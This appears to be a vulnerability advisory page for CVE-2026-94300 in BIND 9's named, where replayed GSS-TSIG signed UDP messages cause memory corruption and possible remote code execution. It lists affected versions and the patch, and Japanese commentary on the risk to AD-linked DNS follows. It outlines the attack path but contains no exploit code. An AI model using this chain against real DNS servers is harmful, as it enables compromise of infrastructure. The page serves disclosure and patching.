CVE-2026-94300

HIGH POC Pub 21/10 Upd 22/10

Overview

This vulnerability is a replay attack combined with memory corruption in the ISC BIND 9 DNS server component "named". It arises from improper handling of GSS-TSIG signed UDP messages, where replayed messages are accepted while the negotiated TSIG key remains valid. The flaw affects the UDP message processing logic within the GSS-TSIG authentication mechanism, leading to unsafe memory operations.

Vulnerability Description

Replaying GSS-TSIG signed UDP messages can result in memory corruption in "`named`". An attacker who can capture a previously signed UDP message can replay it while the negotiated TSIG key is still valid. By also sending crafted queries to a zone the attacker controls, the attacker may potentially achieve remote code execution. This issue affects BIND 9 versions 9.11.0 through 9.18.50, 9.20.0 through 9.20.29, 9.21.0 through 9.21.26, 9.11.3-S1 through 9.18.50-S1, and 9.20.9-S1 through 9.20.29-S1.

Impact

An unauthenticated attacker capable of capturing valid GSS-TSIG signed UDP messages can replay them to cause memory corruption in the DNS server. By combining this with crafted DNS queries to attacker-controlled zones, the attacker can achieve remote code execution within the context of the "named" process. This enables full system compromise, potentially allowing unauthorized control over DNS infrastructure without requiring user interaction or privileged access.

Solution

ISC recommends upgrading affected BIND 9 versions to 9.20.30 or 9.21.27, which contain patches addressing this vulnerability. Detailed patching instructions and advisories are available at the ISC knowledge base: https://kb.isc.org/docs/cve-2026-94300. Users should apply these updates promptly to mitigate exploitation risks.

    ■ セキュリティ上の重要な教訓 今回の脆弱性が示しているのは、認証された通信であっても、その処理が安全であるとは限らないということです。 「認証の正当性」と「認証後の処理の安全性」は別問題です。 DNSは、認証基盤、業務システム、クラウドサービスなど、組織のITインフラを支える重要な基盤です。 CVSSの数値だけで判断せず、GSS-TSIGの利用状況、攻撃経路、システムの重要度を踏まえたリスク評価と迅速な対応が求められます。 出典：ISC公式セキュリティアドバイザリ（202…

    【BIND 9にリモートコード実行（RCE）の可能性がある深刻な脆弱性 CVE-2026-94300】 企業の内部DNS基盤、特にActive Directoryと連携するDNS環境では注意が必要です。 GSS-TSIGを利用したセキュアな動的DNS更新を実施している場合、優先的な影響調査が求められます。 DNSサーバーが侵害された場合、名前解決の停止にとどまらず、DNS応答の改ざんなどを通じて、組織全体の業務システムや認証基盤に影響が波及する可能性があります。
